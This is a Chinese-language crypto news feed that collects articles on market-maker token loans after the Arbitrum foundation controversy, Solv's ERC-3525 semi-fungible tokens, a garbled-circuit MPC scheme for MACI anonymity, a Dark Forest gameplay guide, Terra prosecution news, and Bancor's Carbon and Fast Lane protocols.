参考文献 [01] https://mirror.xyz/0xbuidlerdao.eth/VDZsmz0ZBDS0E7DKalEKRbqvpFk-b5947jT2DxGUBz0 [02] https://cyberconnect.notion.site/CyberConnect-Recent-Highlights-Resources-659f80a3a049456cae681c3c6ef5e6dc [03] https://news.marsbit.co/20230303172213921906.html [04] https://dune.com/sixdegree/lens-protocol-ecosystem-analysis [05] https://dune.com/sixdegree/lens-impact-on-its-partners [06] https://dune.com/cyberconnecthq/cyberconnect-link3-metrics [07] https://messari.io/report/decentralized-social-protocol-map [08] https://mp.weixin.qq.com/s/2Fs7vsjXv3N4_UfUxs7RUw  ( 4 min )
    Arbitrum基金会事件反思：做市交易的机制和滥用的可能性
    作者：Alex, 加密KOL 编译：Felix, PANews 在公开市场购买加密治理代币之前，每个投资者都应该知道的事：加密做市商（MM）交易的机制和滥用的可能性。 为什么现在加密项目都有做市商交易？ 项目方以前用原生代币来激励链上流动性池，而现在是使用经验丰富的做市商在CEX上提供流动性，是因为在CEX上的价格发现更有效，并能降低各方的成本。 项目方如何激励做市商？ 项目方向做市商提供为期1年的代币贷款（通常为3-5个做市商），代币附带零成本看涨期权。做市商在贷款期间内，需要保证在指定价差内有指定的市场规模。（保证一定的交易深度） 为什么项目方要借币给做市商？ 做市商需要贷款以确保其运营中有足够的库存。通过有效借贷，以抵消可能出现的过量购买的现象。借贷利率通常为零（或非常低）。 为什么要给做市商看涨期权？ 项目方需要给做市商支付服务费用。因为项目方现金少，但有代币，所以宁愿支付代币。但是，项目方不希望做市商马上抛售，因此他们调整激励措施，提供看涨期权。如果代币价格高，大家皆大欢喜。 那什么是期权? 看涨期权是在特定时间（到期）后以特定价格（执行）购买资产的权利，但不是义务。 通常给予做市商看涨期权的到期日与贷款期限一致，通常为1年。 如果代币还没有开始交易，如何设定看涨期权的执行价格？ 执行价格比指数价格有50-100%的溢价，这意味着在交易时执行价格是未知的。 最后一件有趣的事情： 看涨期权有“delta”，即期权价值对标的资产变动的敏感性。如果做市商想在看涨期权上进行“delta对冲”，做市商需要出售代币。 做市商的交易机制并非天生就是恶意的，但问题在于没有向散户投资者披露任何信息，这对公开市场参与者来说是不公平的。 看看最近Arbitrum的失败案例。 在文件中: 散户做出投资决策的前提是，本文件中提到的12.75亿代币是二级市场上唯一的供应量，但不幸的是，事实并非如此。 下面描述一下哪里出了问题。 看涨期权综合增加了流动量。 因为做市商必须保持市场中立，所以做市商通过出售代币来对冲他们的看涨期权delta。在Arbitrum案例中，Wintermute的对冲交易大约为公开市场增加了1600万枚无人知晓的代币。 2. OTC交易条款未知 该基金会通过与Wintermute的场外交易出售了1000万美元的代币，直到交易发生后，这些操作都没有在任何文件中向散户投资者披露。甚至没有提到该基金会很快就会出售代币。 3)投资者和做市商的区别未知 目前尚不清楚Wintermute是否是Arbitrum的投资者，但散户应该知道投资者和做市商之间的是否存在任何的潜在利益冲突。 下面是Alameda的骚操作： 1.项目投入大，却只有1-year cliff（注：即1年后一次性归属） 2.锁定做市协议，贷款1年 3.从项目方中获得大笔贷款 4.立即抛售所有代币 5.代币到位后一年内偿还贷款 6.???（注：指暗箱操作） 7.获得利润 因此，在散户不知情的情况下，将多出来的代币倾售在散户身上，以及Arbitrum项目方假装去中心化，但被逮个正着。双重打击导致代币价格下跌。 在传统金融市场中，IPO需要概述清晰的招股说明书是有原因的，需要公开： 这些信息对于做出投资决策至关重要。 这也是存在内幕交易的症结所在，拥有大量代币和内幕信息的各方需要公开他们的市场操作。但在加密领域，可疑的代币转移经常发生，坦率地说，令人作呕。 大家都能意识到上周的崩溃对该加密领域的破坏性有多大。规则是不公平的。如果不能为公开市场参与者提供基本的透明度和保证，散户的交易环境只会更加恶化。 为了能为所有市场参与者创造更公平的环境，因此呼吁大家可以共同执行一项社会契约（也包括未来的项目）——那就是不购买信息不透明的治理代币。 Alex并不是想把Arbitrum或Wintermute单独列为坏人。 Arbitrum是一个伟大的项目，但不幸的是，它因为被曝光而受到了惩罚。他们给基金会分配了相对较少的代币，并试图以去中心化的方式创建他们的基金会。初心虽好，但执行不济。 Wintermute是该领域受人尊敬的做市商，毕竟外面有很多像Alameda这样的恶意公司，作为与品牌声誉良好的做市商打交道的溢价，Arbitrum项目方支付了除必要的代币贷款和期权以外更多的钱。 Alex已经在Arbitrum治理论坛上分享了对此事的看法，也在努力提交一份提案来解决问题。  ( 2 min )
    SFT 半同质化标准创新，实现 DeFi 多元用例
    去中心化金融（DeFi）一般是指基于智能合约平台构建的加密资产、金融类智能合约以及协议，具备可互操作、可编程且可组合性。作为对传统中心化金融的革新，早在 2019 年 DeFi 强势崛起引爆了整个加密市场。经过几年的发展成熟，相关钱包、抵押借贷等产品层出不穷，向世界证明了区块链技术应用于链上经济活动的巨大潜力。 随着熊市来袭，泡沫破裂，加密金融行业进入了冷静期。处于寒冬中的 DeFi 赛道更能引发 Web3 建设者的思考：既然“去中心化”并非一切事情的答案，那么去中心金融到底存在什么问题？又该如何解决这些问题？ 对于金融行业发展而言，资金的流动性问题十分关键。聚焦去中心化流动性基础设施，目前 DeFi 金融工具多样性与流动性远远不够，成为桎梏行业创新发展的问题之一。为此，Solv Protocol 提出了一种新的通证范式，实现了对 DeFi 与 NFT 的双向建构，弥补了去中心金融市场存在的标的制定与流程空缺问题。近期 Solv 推出 V3，其将带来怎样的革新？ 打破区块链行业金融赛道的垄断，促进金融资产多样性发展 加密行业发展建立在传统金融体系之上十分危险 Web3 市场上金融工具和资产标的多样性不足 SFT 半同质化标准范式将会承载更高级的金融场景 — ERC-20 标准诞生后，一些项目利用这个标准将非常标准化的资产带到区块链上来，引发了 ICO（Initial Coin Offering）狂潮，此后诞生的 Coinbase 等项目产品本质上都是围绕 ERC-20 这一种资产品类所打造的生态。 — NFT 协议 ERC-721 被创造之后，大家意识到艺术品资产或许也能够被带到区块链上。因此出现了 Opensea 和 Blur 这样非常优秀的市场，提升了 NFT 的流动性等性能。 由此，资产的流动性对于 DeFi 发展至关重要。而问题恰在于，区块链去中心金融赛道旧有发展格局存在一定程度上的垄断问题，而新的资产标准尚未成熟。 资金融通是指在经济运行过程中，资金供求双方运用各种金融工具调节资金盈余的活动，是所有金融交易活动的总称。而 CeFi 之类的去中心化金融交易平台，它们兼具了用户存储资产的“银行”、交易发生地的“券商”，甚至是资金的“托管商”、项目发展的“VC”，“一家独大”的状况限制了整个行业其他项目的发展，以及金融工具的多样性创新发展的空间。 纵观行业发展格局，Ryan Chow 提到“最终我们的钱不会放在中心化交易所”。而这自去年 FTX 崩溃之后已经给行业敲了警钟，近期硅谷银行的危机更让大家意识到过去的加密行业仍然建立在传统金融体系之上。因此，去中心化金融 DeFi 才是未来金融行业发展的最终方案。 在去中心化金融领域中，最困难的部分是定义一整套链上金融工具的创造、发行、交易、风控等系列标准。例如，金融工具基于什么通证标准来铸造？后端资管和清算机制如何设计？投资人如何实时追踪基金信息？链上信用体系如何构建和记录？又如何控制相关风险？ 在金融场景下，一方面大量的金融工具，如债券、各种衍生品等都需要有信息描述，即它背后谁发行的？发行之后采用什么策略？谁是操作人？如何保障安全？这个资产本身需要承载这些细节。这就利用到了 NFT 资产的这种特性。另一方面，这些金融工具是有份额的，并且能够拆分。即如果我投资额度为 1 万美金，那么我可以提交将此资产中 1 千美金分给另外一个人。然而 NFT 是代表世界上独一无二的东西，其中并不包含关于数量的描述。因此没有办法进行资产拆分后的转让与管理。 因此，既能够保障每笔金融资产的独立性，又能够在金额上进行拆分，在技术上称为 SFT（Semi-fungible Token），为此，ERC-3525 应时而生。其通过“ID-Slot-Value”的设计，让相同规则的资产具备了互相转账计算的可能性，不仅十分适合金融资产的拆分、合并、转让等场景，在广义上能够为一切满足只能合约条件的金融业务提供支持。 Solv V3 的实践与优势 目前 Solv V3 专注基金方向，支持资金需求与供给双方通过链上基金的发行与购买，实现高效的资金融通。通过这次升级，Solv 将成为加密行业统一的流动性分发层，用户也将会通过投资链上基金的方式感受 SFT 这一资产范式的全新体验。 便捷高效：“基金”在本质上是需要保证能够找到大量真正能够创造收益的基金管理人。而符合这一需求的群体在市场上规模十分庞大。此外，很多作资产管理的资产人也能在 Solv 上十分快速便捷地录入必须信息，就可以创造一个 SFT 来代表某种基金份额。 安全保障：比如需要募集 100 万美金，基金发行人将 SFT 在市场挂单，SFT 被购买后，钱会转入到预先设置的托管账户或者多签钱包。这个钱包会提前设置好募资方能够进行的几个操作，而除此之外的操作都需要经过审核。所以全周期内资金都在事先的使用范围内，从而避免了欺诈、违约等风险。 结以技术创新：助力金融与社会发展 从本质上看，基础设施中协议的作用在于能够承载符合共性的事务，Solv 基于SFT 半同质化标准创新，其作为去中心化流动性基础设施在去中心化金融发展中扮演了什么角色？作为项目创始人的 Ryan Chow 总结了以下几点。 从金融创新角度来看，目前行业中缺乏整体性金融工具的创造标准和流程。而 SFT 就是现在市场上最好的选择。一旦 ERC-3525 的实践取得成功，它将成为补充加密金融的第三块拼图。 Solv V3 有机会创造整个行业的资金流动性。比如项目方可以利用该产品进行募资，VC 可以在此寻求投资的机会，用户可以在此参与项目早期发展的契机，行业金融的流动性有机会被带动至新的高度。 对于社会发展而言，更多使用智能合约的解决方案降低了整个社会运行的成本。此外，如果能够出现一些公益类的产品，也有利于追踪资金去向，帮助真正需要帮助的人。 非常感谢 Solv Protocol 联合创始 Ryan Chow 为我们带来关于去中心化金融基础设施相关协议创新与实践用例的精彩演讲。TinTin Weekly 是由 TinTinLand 开设的线上圆桌对谈新栏目。我们将聚焦加密行业的前沿动态，每周选取行业热门话题，邀请相关项目方、开发者、投资人、研究员等相关大咖嘉宾，通过圆桌对谈和自由互动的方式，与各位 Web3er 共同探索 Web3 行业发展的新技术、新市场、新风口。下期精彩内容，各位小伙伴敬请关注！  ( 2 min )
    基于 2-of-2 多方安全计算的 MACI 匿名化方案
    感谢 Felix Cai 对 MACI 和隐私投票中多个问题的讨论。 这篇文章将展示基于 2-of-2 MPC 技术的 MACI 匿名化方案的具体实现。本文核心内容主要分为三个部分：从任意算法到逻辑电路的实现；从逻辑电路到混淆电路的实现；利用不经意传输实现多方安全计算。最后，我们总结基于多方安全计算的匿名化方案。 在 MACI 系统中，操作员 Operator（记为O）管理着一个数组，这个数组记为 deactivate[]，其元素个数与 registry 数组中的元素个数相同。数组中每个位置的编号代表了 key 值（用户的编号），而每个位置存储着对应的公钥。为了更好地理解 deactivate[] 数组，可参考如下例子：在 deactivate[] 数组中，假设 registry 中的用户1（deactivate[] 数组中的第一个元素）发起了 deactivate key 操作，操作员O收到该操作请求后，如果操作的合法性被O承认，O在 deactivate[] 数组中的第一个位置填入 registry 数组中第一个位置所包含的 value 值（用户2的公钥）。另外，假设用户O没有发起 deactivate key 操作，那么 deactivate[] 数组中的第二个元素的值为 0。这样一来, deactivate[] 数组的元素个数和 registry 数组中的元素个数相同就可以理解了。 现在，为了实现 MACI 系统对管理员的匿名性，需要设计一个 2-of-2 的 MPC 方案来实现以下两个性质: 先暂且不考虑这两个要实现的目标。先考虑更换密钥的操作: A发起更换 deactivate[] 数组中属于A的公钥的请求，O验证A的请求是否合法，如果合法，则执行更换公钥操作；否则，拒绝请求。 根据上述逻辑，我们先设计一份伪代码来实现这个操作，如下: 逻辑电路的生成原理 为了简单起见，暂且假设一个公钥由二位二进制数来表示（实际的公钥是 256 位二进制数）。那么，现在就需要用用户A的输入公钥，对比 deactivate[] 数组中的二把公钥。因此，需要对比二次。 逻辑电路由逻辑门组成，逻辑电路中的逻辑门被分为 层，比如上面的电路是两层。逻辑门第一层需要用户来添加输入, 其他层是中间节点，最后是根节点。对于用户输入的逻辑门，有两个输入和一个输出。其中一个输入由用户A完成。另外一个由O完成。这三个逻辑门组成了一个子逻辑电路。这个子逻辑电路负责一次公钥的对比。 逻辑电路的生成工具 在现实中，为了让一个固定的算法转换成逻辑电路，需要用到一些工具，如 1.Verilog HDL 和 VHDL：这两种硬件描述语言被广泛用于数字电路的设计和仿真，可以使用它们来描述算法的行为，并将其转换为逻辑电路的形式。这些语言都支持从高级语言（如C、C++ 和 Java）转换为硬件描述语言的形式。使用 Verilog 或 VHDL 需要一定的硬件设计和编程经验。 2.Xilinx Vivado Design Suite：这是一款商业软件，用于 FPGA（现场可编程门阵列）的设计和开发。它提供了一个综合工具，可以将高级语言或 RTL（寄存器传输级）代码转换为逻辑电路的形式。它支持多种编程语言，包括 C、C++、SystemC、Verilog 和 VHDL 等。 3.Yosys：这是一款开源的 EDA（电子设计自动化）工具，用于数字电路的设计和仿真。它支持从 Verilog 和 VHDL 等硬件描述语言转换为逻辑电路的形式。它也支持从高级语言（如 C、C++ 和 Python）转换为 RTL 代码，然后转换为逻辑电路的形式。 回到现在的例子中，因为我们的公钥在 deactivate[] 数组中都是有序号的（序号等价于用户的编号），且数组 deactivate[] 中的最大元素个数是有上限的（用户的个数）。因此，假设最大元素个数是N，那么，就需要构建N个子电路，然后合成一个最终的逻辑电路。 由于逻辑电路在每一个 epoch 中（一个 epoch 是区块链更新 registry 中元素的一个周期）是固定的，那么，所有用户都可以使用这个早已经生成好的，并存储在区块链中的逻辑电路。在本文例子中，由于 deactivate[] 数组中只有两个元素，因此子电路只有两个（每个子电路对应于一次公钥的对比）。 注：在一个 epoch 中，registry 数组中元素个数是固定的，因此用户的输入和数组中的元素的对比次数是固定的，因此逻辑子电路的个数是确定的，且逻辑子电路是事先可以确定好的，因此整个逻辑电路是唯一确定的。 接下来，就是将逻辑电路的每一个输入进行加密，然后将每一个逻辑门进行混淆。 先考虑加密。加密这个动作是由用户A完成的。他对每一个输入和输出的 0 和 1 用加密值表示。注意，最终的根逻辑门的输出不需要进行加密，在本案例中，就是 0（对比失败），和 1（更换新的公钥）。如图所示： 逻辑电路中的每一条引线的 0 和 1 都用加密值代替。同时，每一个逻辑电路都有一个固定的编号（这个是所有人都已知的）。例如，编号 1、2、5 就构成了一个子电路 1（比较用户的公钥和数组中的第一把公钥）。 基于此，将逻辑电路的每一个逻辑门的输入和输出（除了根逻辑门）进行加密后，在 Operator 的视角里，对于加密后的逻辑电路，他就不知道每个逻辑门的输入数字（加密值）对应的明文（是 0 还是 1）。 在混淆电路中，为每个输入值生成两个随机 key 的过程通常是使用伪随机数生成器（PRNG）来实现的。常用的生成随机 key 的实现和库有很多，例如 OpenSSL、Crypto++、libsodium 等。 基于伪随机函数 PRF 的方法是 Yao 的混淆电路中实现对输出二进制数 0 和 1 的加密的主要方法之一。具体来说，这种方法可以实现对每个逻辑门的输出进行加密，保证了数据的机密性和可靠性。 在基于 PRF 的方法中，每个逻辑门的输出都被混淆成为一组包含多个 label 的二元组，其中每个 label 都是一个随机的 01 字符串。在生成每个 label 时，可以使用伪随机函数（PRF）来实现。具体来说，可以使用一个密钥和输入值（如 0 或 1）作为 PRF 的输入，然后得到一个随机的 01 字符串作为 label。由于 PRF 是一种可以模拟真正随机数的算法，因此生成的 label 具有高度的随机性和不可预测性，保证了数据的机密性和安全性。 在混淆输出时，可以将每个逻辑门的输出表示为一个包含两个 label 的二元组（如 {label0, label1}）。其中，当输入为 0 时，使用 label0 作为输出；当输入为 1 时，使用 label1 作为输出。在将逻辑门的输出发送给下一个参与方时，只发送一个包含正确 label 的二元组，保证了数据的机密性和保密性。常见的 PRF 包括 HMAC、SHA、AES 等。 需要注意的是，对逻辑门的输出采用上述方法的目的是为了便于不经意传输（oblivious transfer）的实现。 这里其实就可以推导不经意传输过程了。比如，用户 A 将这四个输出—— 用户 A 输入的生成 现在，我们继续假设，用户A公钥的编号是 1，数值是 10，而数组中的二把公钥（编号分别为 0、1）的数值分别是 11, 10。也就是说用户A的公钥在数组中。 接着，用户将自己的输入，分别输入到两个子电路中（sub-circuit 1 和 2）。用户在第一个逻辑子电路（1、2、5）中进行输入。他的输入是：在编号为 1 的逻辑门输入 2674（代表二进制数 1）；在编号为 2 的逻辑门输入 8798（代表二进制数 0）。用户在第二个逻辑子电路（3、4、6）中进行输入。那么，他的输入是：在编号为 3 的逻辑门中输入 9809（代表二进制数 1）；在编号为 4 的逻辑门中输入 3453（代表二进制数 0）。 电路混淆 接下来的步骤就是将逻辑电路进行混淆。 这样一来，根据这个表格的排序可能性，O想通过表三还原成真正的表一，会碰到 4 种可能性。那么，如果在一次证明中涉及到N个逻辑门，每个逻辑门用户A都做上述操作，那么就有4N种可能性。这样，通过排序任意颠倒，使得O很难推断出每个数字到底代表 0 还是 1。 不经意传输（Oblivious Transfer） 此时，我们需要回顾两个一定要保证的性质： 上述三个步骤，满足了第二个性质，但是没有满足第一个性质，也就是说，O在解密了其中一个加密值后，得到了明文 1，但是，也暴露了另一个明文 0。这样一来，混淆逻辑门表就暴露了很多信息给O，这样让O有机会破解A的秘密，从而使得性质 1 无效。 从对一个逻辑门的 OT 通信可以看出整个 OT 通信的全貌，即每个逻辑门的 OT 通信都是如此，且在一次 OT 通信过程中全部完成。这样，O就能得到所有叶子逻辑门的输出，这样他就能进一步得到分支逻辑门的输出，从而最终得到根逻辑门的输出。 上述方案中，需要且可以改进的地方有很多。例如，改进算法设计，降低算法的复杂度；改进逻辑电路的设计，让逻辑电路变得更加简单（减少门的个数，减少通信是需要传递的信息）；增加方案的安全性，加大破解方案的计算复杂度；让交互变成非交互。 但是，如果采用 Merkle Patricia Tree 的数据结构的话，对比的次数要少很多（这是因为对于 256 位的公钥来说，形成的 MPT 一定是稀疏的，因此，可能筛选二到三轮就可以筛选出想要的值）。那么，一旦算法计算复杂度下降了，逻辑电路的设计也就要简单很多。 逻辑电路的设计也有化简的可能性。 A的每个输入都不同，O也是。实际上，可以进行化简。变成如下图所示。 这样的化简可以让输入变少。 如果O想输入的是 0，那么他得到的结果必然是 0，也就是说，他天然知道输出 0 的加密值，那么他就天然知道了 1 的加密值。同时，由于A的输入已经是确定的，那么他可以根据A的输入值，和1的输出的加密值所在的行，去分析，如果 1 的输出的加密值所在的行，不包含A的输入加密值，那么A的输入就是 0，否则就是 1。 为了解决这类问题，我们需要对输出全部进行加密。比如使用该种方法：上表中的四个输出值 0、0、0、1 分别加密为—— ——这样一来，输出的四个值分别对应为四个不同的密文。因此，在此环境下， 无法通过上述推断来反推出A的输入值是 0 还是 1。但是，这种方法使得输出加密值的个数从二变成了四。通信复杂度会增大。 此外，非交互式的不经意传输协议也值得研究。 上述方法首先不考虑需要实现 MACI 匿名化的两个目标，即在明文下设计一个算法，让O能够正确判断是否执行用户A的请求。基于此，再将所设计的算法转化成逻辑电路。再将逻辑电路转化成混淆电路。需要注意的是，逻辑电路在每一个区块链的 epoch 中是固定的且能够从区块链中直接获取的。用户A获取该 epoch 的逻辑电路，利用相应工具将逻辑电路转化成混淆电路。同时，用户A将每一个混淆电路的输入进行加密，并将加密好的信息发送给O。此时，O由于不知道加密后的输入对应的明文是什么，O也就不知道用户A具体的输入是什么了，这样就实现了匿名化的第一个性质。 进而，使用不经意传输是实现第二个目的的方法。通过不经意传输，用户A并不知道O具体采用了哪些加密值进行进一步的输入，因此用户A无法推断出 deactivate[] 数组中的其他元素信息。同时，由于O通过不经意传输获得了足够的有效输入，因此O将这些有效输入输入到被加密的混淆电路中，最终能够得到正确的输出，该输出和明文下执行第一节的算法所得到的输出是相同的。因此，O就能够根据输出来判断是否要执行用户A的请求。 最终，O将上述所有操作利用零知识证明生成操作的 proof。区块链对 proof 进行验证，验证通过后，区块链将根据 deactivate[] 数组中的元素和 registry 数组中的元素来更新 registry 数组并结束 epoch 和开启下一个 epoch。  ( 4 min )
    全链游戏Dark Forest玩法攻略
    介绍 Dark Forest是一个基于以太坊区块链的去中心化策略游戏，玩家可以在游戏中采集资源、建造基地、发展科技、收集武器，与其他玩家进行战斗并争夺资源。 在Dark Forest中，每个玩家都掌握着自己的星球，并需要在星球上采集资源，建造基地和发展科技来提高自己的战斗能力。玩家可以使用资源生产建筑、科技研究和武器制造设施，以便在战斗中获得优势。 当玩家在星际空间中飞行时，他们需要通过不断的侦察和探索来发现其他星球和资源。当两个玩家同时发现同一颗星球时，他们可以选择对该星球发起进攻或者选择逃离。在进攻时，玩家需要使用自己的武器来攻击对方的基地，并夺取对方的资源。 Dark Forest的特点在于游戏完全基于区块链技术，每个玩家的星球和资源都存储在区块链上，无法被篡改或者删除。此外，Dark Forest也是一个去中心化游戏（DeGame），没有中央服务器控制游戏进程，而是由所有玩家共同维护和决策。 Dark Forest 也是首次在全链去中心化游戏中引入战争迷雾系统的游戏，得到了V神的肯定。我们将在本文深度拆解，来探讨这样一个即时策略游戏如何在全链环境中实现。刚好在4月1日@DfArchon 宣布即将举行一次”Community Round“，感兴趣的同学也可以参加测试一下。 我们从游戏类型说起，先对MMORPG和MMORTS游戏做对比： 实盘操作 最早只有官方举行 Official Round 的时候，需要邀请码（key）登录来参与，现在有了lobby功能，任何人都可以创建自己的round，所以就有了所谓的 community round（类似于社区举办的一场比赛）。进入主页 https://zkga.me/ ，点击 ”Create Lobby“，会进入 Lobby 设置页面，如下图 Game settings：通过更改能量/银币的恢复速度以及航行速度可以修改游戏速度。 World Size：通过修改宇宙半径来改变地图的大小。 Space Type & Biome: 选择游戏地图。 Planets：设定行星的基础参数。 Player spawn：生成玩家的参数设置。 Space junk：该游戏道具的参数设置 。 Capture zones：占领区参数设置。 Artifacts：该游戏道具的参数设置 。 Admin permissions：设置是否打开白名单玩家。 Advanced Snarks：战争迷雾参数设置。 关于 Lobby 更多的使用技巧，请参考这篇官方的解答： https://blog.zkga.me/introducing-dark-forest-lobbies Dark Forest 表面上看起来很复杂，但其实它的基本游戏规则很简单：行星有能量值，此能量值会随着距离的延展而衰减，行星间的跳跃就是互相攻击，攻击的胜负是以衰减后的能量值大小来判定。当然了，也已经有很多文章和视频来讲述如何玩游戏，这里不做更细致的分享。 开发者文档分析 https://dev-guides.zkga.me/ 开发者文档对游戏的开发架构做了一些框架性的解释，分别针对插件开发者，网页客户端开发者，游戏合约开发者和ZK电路开发者。 Connect to the Blockchain 游戏运行在xDai的layer2上面，也就是现在的Gnosis Chain，因为游戏在运行中需要和合约有大量交互，所以内置RPC节点。Gnosis 团队甚至为这个游戏开通了一个游戏专用节点。 黑暗森林允许玩家通过插件系统自定义默认的网页客户端。 插件是玩家可以编写的代码片段，用于生成游戏数据的替代视图、自动化常见的游戏流程，甚至重新设计游戏皮肤。 从本质上讲，Dark Forest 允许玩家以他们喜欢的任何方式与网络客户端进行编程交互。 黑暗森林的关键机制是它的密码战争迷雾。 当第一次加入游戏时，您不知道其他玩家所在的位置。玩家必须计算哈希值才能发现宇宙中的兴趣点，例如行星和其他玩家的位置。 这些哈希值保存在浏览器的本地存储中，并被视为秘密数据。默认情况下，Dark Forest 默认 Web 客户端使用单线程 Javascript 矿工来探索宇宙，但您可以采取多种措施来提高哈希率，比如改变挖掘按钮旁边的CPU核心。 如果您尝试将内核数设置为大于您计算机的实际内核数，您的矿机性能将趋于平稳。 当玩家的矿工发现宇宙区域地图时，网页客户端会将与这些未发现区域相关的信息保存到浏览器的本地存储中。黑暗森林将数据保存到 IndexedDB。 玩家也可以通过运行一台远程服务器来充当探索位置地图的矿工。 黑暗森林由 ZK-Snark 技术提供支持，ZK-Snark 技术是一种密码技术，可用于在不泄露函数的输入或逻辑的情况下证明函数的正确性。黑暗森林使用这种技术来验证游戏中的移动是否有效，而不会向在链上窥探的人们透露行星的位置。 这种技术（Zk-snark Proof Generation）在计算上非常昂贵！ 所以该ZK-Proof将计算移到浏览器之外，需要本地运行一个Node.JS。当然了，游戏也允许使用一台远程服务器来运行这个服务。 作为一个有着极强创新性的全链游戏，Dark Forest 的发展确显得缓慢。一个可能的原因是，这是一个社区推动的项目，虽然可以保证去中心化，但也因此影响了开发效率。上次 official round是在2022年2月。Webclient更新是在2020年10月，第三方（社区）插件更新还稍微活跃一些，包括2022年7月的nightmarket（匿名交易行星坐标），2022年3月的lobby。  ( 2 min )
    Orbiter Finance回应跨链资金未到账：系网络不稳定导致跨链失败，已全部处理
    PANews 4月7日消息，针对关于“部分用户跨链后在目标链未收到资产的疑问”，Layer 2桥接项目Orbiter Finance回应称：“Orbiter Finance和用户的资产是安全的，没有遇到任何攻击或潜在威胁。在过去的三周里，Layer2网络的不稳定导致了一些传输失败，目前已全部处理。”  ( 1 min )
    韩国检方：Do Kwon的资产不在韩国，Terra项目犯罪所得约3亿美元
    PANews 4月7日消息，据KBS报道，韩国检察官表示，Terraform Labs的9名前任和现任高管从该项目中非法筹集的4145亿韩元（约合3.142亿美元），其中约有914亿韩元属于该公司首席执行官Do Kwon，但确认他的资产都不在韩国管辖范围内。 当地检察官暂时没收了属于Terraform联合创始人Shin Hyun-seung（又名Daniel Shin）的资产，包括房地产和进口汽车。该国检方指控Daniel Shin从Terra-Luna项目中非法获利超过1540亿韩元。Do Kwon似乎将很大一部分财产换成比特币，转移到海外加密交易所。检察官表示，他们已要求币安阻止Do Kwon提取其加密货币。 此前消息，韩国检方已搜查并扣押Terra高管和员工的总计超2亿美元房产。  ( 1 min )
    Bancor团队推新项目，Carbon与Fast Lane能否弥补高达2482万美元的亏损
    无常损失是自动做市商（AMM）面临的一个重要问题，严重影响着流动性提供者（LP）的收益，甚至可能让LP面临亏损。Bancor在v2.1版本中提出了一种无常损失保护方案，允许提供单边流动性，并通过BNT的弹性供应，让流动性提供者在质押一段时间后能够100%的受到无常损失保护。但在2022年的下跌行情中，巨大的损失使Bancor终止了无常损失保护。这一行动使Bancor遭到了数千万美元的亏空，部分LP无法完全赎回自己的资金。 为了弥补亏空，Bancor进行了一系列的努力来产生协议费用，减少赤字，团队开发了自动执行链上交易策略的Carbon和套利协议Fast Lane，除了必要的开支外，利润将优先用于回购销毁BNT，弥补此前的亏空。 Bancor于2017年推出，是最早的DeFi项目之一，也是最早采用AMM的项目。随着2020年夏天DeFi的各种创新，Bancor的优势逐渐削弱。和Uniswap v1中的代币必须和ETH组成交易对类似，Bancor中的其它代币也必须和原生代币BNT组成交易对，更复杂的交易路径造成额外的交易手续费，并增加交易的Gas成本。 在2020年底，Bancor提出了v2.1版本，引入了无常损失保护，并允许添加单边流动性。Bancor选择了数十种代币作为白名单“受保护”池，在这些流动性池中提供相应代币或BNT的流动性，可以获得流动性挖矿奖励。且因为是受保护的，用户提供流动性在达到规定的时间（100天）后，可以完全不受无常损失的影响。 但Bancor的无常损失保护并不是真正能够避免无常损失，而是把LP可能遭受的无常损失转移给了Bancor协议。按照最初的设想，通过BNT的弹性供应，协议与LP共同在这些流动性池中提供流动性，并利用赚取的交易手续费来承担无常损失的成本。 在2021年底提出的Bancor 3中进一步降低了交易成本，允许所有交易在一次交易中发生，并取消了原有的需要等待100天才能获得100%无常损失保护的限制。 但是，因为随之到来的极端行情，Bancor遭受了巨大的无常损失，BNT的价格和高点相比下跌90%。如果要用新发行的BNT支付用户的无常损失，那么价格越低，需要增发的BNT越多，因为增发预期，也会导致投资者抛售BNT，导致死亡螺旋，因此Bancor在2022年6月宣布暂停无常损失保护。 根据Bancor公布的数据，截至2023年4月4日，协议中的赤字为2482万美元，赤字的比例为35.47%。协议中的流动性为6970万美元，但交易量呈下降趋势，每天约成交100万美元，过去7天平均每天产生3400美元的收入。 自动执行链上交易策略的Carbon Carbon是一个用于自动执行链上交易策略的去中心化协议，可以利用非对称的流动性和可调节的联合曲线（Bonding Curve）来创建自动交易策略。它的特点包括：非对称流动性、可调整的联合曲线、循环策略、可抵抗三明治攻击、流动性集中、无需许可的支持所有ERC-20代币。 当我们在Uniswap V2上提供流动性时，流动性分布在(0, +∞)的整个范围内，效率较低。升级至Uniswap V3后，可以将流动性集中在自定义的区间内，从而提高资金效率，流动性会在设定的区间内基本均匀的分布，并在价格下跌时买入，上涨时卖出。 Canbon的非对称流动性引入了一种新的链上流动性方法，可以执行自定义的交易和做市策略。 如下图所示，例如在ETH价格1500美元时，在Carbon中以USDC为本金，设置1100-1300美元的买入范围和1700-1800美元的卖出范围。当价格跌至1300美元以下时，开始买入。和在其它DEX提供流动性不同的是，如果价格回升，在涨至1700美元前并不会卖出。如果价格在一个较大的范围内来回波动，那么设定好策略后，Carbon可能多次执行买入、卖出的操作。 另外，Carbon中联合曲线的参数是可以调节的，每一笔订单都对应一条联合曲线。每条曲线都由一组参数控制，包括恒定和、恒定乘积等，这些参数决定了联合曲线的形状。设置好之后，无论订单是否已经开始成交，在Carbon中都可以对订单进行调整，而不用关闭已经创建的流动性头寸。 Canbon中的交易需要支付一定比例的费用，包括执行现货交易的Taker费、执行限价单的Maker费，以后可能还会有创建策略的费用等，通过治理决定。在通过DAO更改之前，Carbon产生的协议费用会被用于收集并销毁BNT。 Bancor开发了一个开源的套利协议Fast Lane，可以让用户在Bancor生态系统和外部DEX之间套利，目前支持Bancor v3、Uniswap v2、Uniswap v3和Sushi之间的套利。发生在Bancor中的Fast Lane交易免收交易手续费，这就让Fast Lane的使用者相比其它套利者拥有特定的优势。 与此同时，套利利润的50%会自动转换为BNT并销毁，剩下50%的利润作为“发现者费用”支付给发现套利机会的用户。目前发现者费用最高为100 BNT，如果超过这个数值，多余的利润仍将用于销毁BNT。 如下图所示，用户可以使用自定义的参数搜索套利机会，包括监控的DEX、币种和最低利润，计算交易的手续费和Gas成本后，将套利机会发送给Fast Lane智能合约。之后，Fast Lane中的交易包括： 目前Fast Lane协议已发布Beta版本，相关的参数后续也可以通过治理调整。 Bancor因为无常损失遭受巨大损失，目前赤字高达2482万美元，但交易流动性只有6970万美元。团队希望能够增加协议收入，为此创建了自动执行链上交易策略的Carbon和套利协议Fast Lane，这两个新项目的协议费用都暂定用于回购销毁BNT。但因为赤字比例仍有35.47%，且流动性相比以前有所降低，完全消除赤字仍然是一项艰巨的工作。  ( 1 min )
    BitMex前CEO Arthur Hayes成立投资机构Maelstrom Capital
